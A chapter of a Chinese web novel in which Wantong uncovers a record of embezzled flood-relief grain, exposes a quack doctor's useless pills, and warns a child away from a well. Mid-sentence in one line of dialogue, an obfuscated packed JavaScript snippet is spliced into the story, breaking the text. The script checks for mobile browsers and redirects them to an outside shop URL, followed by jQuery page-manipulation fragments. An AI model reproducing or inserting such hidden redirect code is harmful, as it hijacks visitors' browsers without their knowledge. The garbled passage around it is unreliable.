次日天色微蒙，晚桐与阿檀便去祭拜开花奶奶，二人哭了许久。铁柱在一旁替她们掘出那只陶罐，罐中封着一卷册子。
打开时纸页受了潮气，墨色沉浸纸纹，像是多年前便写上去的。
“永和二十四年，云州府拨澜江赈灾粮贰仟石，经云州刺史孙秉昌之手，实发澜江捌佰石，余壹仟贰佰石不知所踪。”
“永和二十四年？”阿檀扳着指头算了半晌，“七年前……是我们去的那回？”
“嗯。”那年开花奶奶带着她与阿檀往澜江探望外婆，去的路上便听说澜江遭了大水，回来时又亲眼瞧见那些淹了的田地、倒塌的屋舍、破败的粮仓，听说那些本该发到灾民手中的粮食，不见了。
她接着往后翻。
孙秉昌，不知所踪。
章怀义，不知所踪。
赵桓，不知所踪。
……
一个个人名后面，都缀着同样的字样，“不知所踪”。
澜江的水患再大也漫不到云州府去，堂堂刺史，怎的也会不知所踪？
“阿檀，你去收拾东西，我在村口等你。”
“铁柱，替我跟耿伯说一声，我们回岚城了。”
“好。”两人齐声应下。
晚桐独自走到村口，白若予一袭素衣立在老槐树下，见她来了，只微微颔首，算是打过招呼。
“阿予，我来取……”
“嗯。”
“多谢你。”
阿予转身便不见了踪影，仿佛他立在此处，就只是为了等晚桐来取寄存的东西。
晚桐从树根下取出那只木盒，将两卷册子一并放入其中。
树上槐花正盛，三两瓣飘进盒里。
她仰头望着那满树繁花，槐花依旧，可开花奶奶却再也不会来了。她想带一朵回去，便跳起来去够，指尖堪堪触到最底下那一朵。
铁柱比阿檀走得快，此刻却愣愣地站在路中间，眼睛眨也不眨地望着晚桐出神。
阿檀抱着包袱从后面跑来，险些撞在他身上。
“哎呀，铁柱哥你杵在路中间做什么！”
铁柱眼前晃过一个画面。那年也是槐花开得正盛的时节，他正坐在老槐树下吃面，晚桐在一旁踮着脚尖够槐花，蹦来蹦去也够不着。
她冲他喊道：“铁柱哥你过来！”他端着碗走过去，还没来得及开口，她便将他的碗抢下来搁在地上，说：“你蹲下。”
他一愣神，她已经往他肩上爬了，一边爬一边说：“你站稳了啊，摔了我你得赔。”
晚桐膝盖硌着他的肩膀，手还揪着他的头发，疼得他倒吸一口气，却仍是忍着没动。
晚桐够着槐花时笑得眉眼弯弯，先将一朵塞进自己嘴里，又揪了一朵丢进他碗中，道：“你也尝尝，甜的。”
如今他嘴里还会莫名其妙泛起一丝甜意，不是槐花的甜，是那个午后的甜。
晚桐走到他跟前，“铁柱，我们回去了。”
“嗯。”他想说些什么，却终究是低下头瞧着马车底板，道：“路上当心车底板，有块板子松了，颠起来会翘。”
“好！但是面坨了要换一碗，记着了没！”
铁柱点点头，嘴角往上弯了一下，随即傻傻地笑起来。
晚桐坐进马车，掀开帘子一角回头望去，铁柱还站在槐树下挥着手傻笑，白若予立在一旁，微微颔首，素衣的一角被风轻轻撩起。
“小姐，你眼睛红了。”
“风大。”晚桐狠狠揉了一把眼睛，扯下帘子，缩回座垫上。
车行至中州城，恰是正午时分。阿檀一把撩开车帘，探出半个身子往前张望。
“可算到了！再不到我腿都坐麻了。”
阿檀吸了吸鼻子，“闻着了没？我就说正好赶上饭时呢。”
二人在城南寻了一家食肆，掌柜正埋头打算盘，晚桐趴在柜台上，歪着头从算盘底下往上瞅他的脸。
“掌柜的，有空桌么？”
这个角度说话，口水险些滴到算盘上，掌柜的手一抖，算盘珠拨错了一颗，抬头瞪了她一眼。
她嘻嘻一笑，“我要坐靠窗的位置。”
掌柜吩咐店小二领她到靠窗的位子坐下，小二一边记菜名一边搭话：“姑娘，外地来的？”
“路过。”
“路过便好，夜里莫要出去逛，近来街上不太平。”
吃过饭，阿檀偏要去吃西街的肉包子，说是好些日子没尝着了，想得紧。晚桐陪她一道去买，路过北街时，满街飘着药材的气味，街两侧的铺子十有五六挂着某某堂的招牌，门口晒着党参、黄芪，药碾子咕噜咕噜响成一片。
二人瞧见前头围了一大圈人，一个穿灰布长衫的游方郎中站在当中，举着一只青瓷小瓶，正唾沫横飞。
“祖传秘方，包治百病！风寒暑湿、腰酸腿疼、小儿惊风、妇人血崩，一剂下去药到病除！一瓶只要三钱银子！”
晚桐三口两口将剩下的包子塞进嘴里，拉着阿檀往人堆里挤。
阿檀一手护着怀里的包子，一手被她拽着，“小姐你慢些。”
她们一路挤到前头，只见摊子上摆满了花花绿绿的瓶罐，旁边竖着一面旗子，上头写着“济世活人”。
有个老妇人正颤颤巍巍地从荷包里往外数铜钱，一枚一枚地数；还有个抱着孩子的妇人，那孩子烧得满脸通红，妇人拿着钱袋，一边哄孩子一边往前挤。
晚桐嚼着包子，听那郎中说完，俯在阿檀耳边低声交待了几句。
“小姐！你说这丸子上头亮晶晶的，是裹了蜜么？”
“你闻闻，可有黄柏？”
阿檀凑上去夸张地深吸一口气，“有的！好苦，还有股子焦糊味！跟咱们上回熬焦了的药渣一个味儿！”
“治风寒靠的是发汗，黄柏是泻火的，他把发汗的药与泻火的药搁在一处，这药丸可救不了命。”
人群嗡地炸了锅，“退钱！拿回去害别人去！”“我说怎的越吃越拉稀！”一个嗓门比一个嗓门大。抱孩子的妇人往后退，脸上又是庆幸又是后怕。
那郎中脸上还挂着笑，却是迅速将瓶瓶罐罐往褡裢里一塞，旗子也扔下不要了，挤出人群时在晚桐面前停了片刻，压低声音说了句：“姑娘眼睛亮，往后走夜路当心绊脚。”
人群推搡之间，他扬起的衣摆底下露出半个图案，像半个日头，也像半个月亮。
阿檀扯住她的袖子：“小姐，他说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533605|203756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么了？”
晚桐眨了一下眼睛，转头冲阿檀嘿嘿一笑。
“他说我眼睛好看。”
“才怪。”
晚桐用力揉了两下腮帮子，拖着阿檀往外走。走出七八步，迎面便是一家药铺，老掌柜正往药屉里分拣甘草，一根根理顺，切口朝同一方向码得整整齐齐，旁边簸箕里晒着当归，切得薄可透光。
“三两甘草，半斤当归。”
老掌柜放下手里的甘草，从药屉里取出当归，又从另一个抽屉里添了甘草，包好递过来。
“姑娘，拿好。”
晚桐接过药包掂了掂，付了银钱，走出巷口时，天上落下一声鸦叫。一只黑鸦立在客栈屋顶上，正歪着脑袋打量她。
她与它对视了一眼，皱起鼻子冲它做了个鬼脸，随后低下头继续往前走。
“小姐，它在瞧我们呢。”
“嗯。”
她走了几步，将阿檀的手拉过来挽在自己胳膊上，“挽着走，天黑得早。”
“小姐别怕，有我呢。”
马车驶上官道，阿檀道：“小姐，后日便能到家了呢。”
官道两旁的树木一眼望不到尽头，天空干干净净，不见飞鸟的痕迹。
后来途经一处农户，阿檀一路嘴没停过，这会儿口渴，便下去讨水喝。
晚桐掀开车帘透气，瞧见一个三四岁的小娃娃趴在井沿上，身子探出去一大截，两只脚在石台上晃来晃去，他娘亲正在廊下择菜。
就在此时，她手臂上的旧疤猛地一抽，眼前浮现出一幅画面。
那口井的绳子骤然断裂，小娃娃直直坠了下去，连哭声都不曾听个完整，而她站在三步之外，手里攥着那包甘草，根本来不及跑过去。
“别趴井口！”
那小娃娃回头望她，脸上糊着泥道子，眼睛里满是好奇。
男孩将手一缩，从井沿上退了下来，手里一只草编的蚂蚱掉进了井里。
太好了！晚桐心头那块石头骤然落地。那娃娃的娘亲闻声跑来，湿手在围裙上擦了又擦，又是道谢又是责骂孩子。
小娃娃没有掉下去，只因她喊了那一声。晚桐望着那小娃娃趴在母亲怀里，搂着娘亲的脖子咯咯直笑，她也跟着笑了。
“小姐心善，救了我家衡儿，晚上留下吃顿便饭，歇息歇息吧！”晚桐手臂上的疤还隐隐作痛，便没有推辞。
夜里睡前，她瞧见衡儿他娘正往铜盆里倒热水，盆子搁在门槛边上，晚桐心想，大约是准备洗脚了。
半夜，她听见隔壁传来脚步声，夹杂着低低的说话声，紧接着是一声女人的痛呼。晚桐翻身起来，只见衡儿坐在床上哇哇大哭，他娘倒在地上，他爹爹一边哭一边喊大夫，晚桐上前探了探，人已经没有气息了。
晚桐怔怔地望着廊下那只被踢翻在墙角的铜盆，今日之前，她还是个活生生的人。
“小姐，你脸色不太好。”
“阿檀，把这些银钱留给他们，我们走吧。”
上了马车，晚桐靠在车壁上，脑海中浮现出衡儿趴在娘亲怀里咯咯笑的模样。他还不知道，天亮之后，便再也没有娘亲疼了。
人生一世，朝露一般，说散也就散了。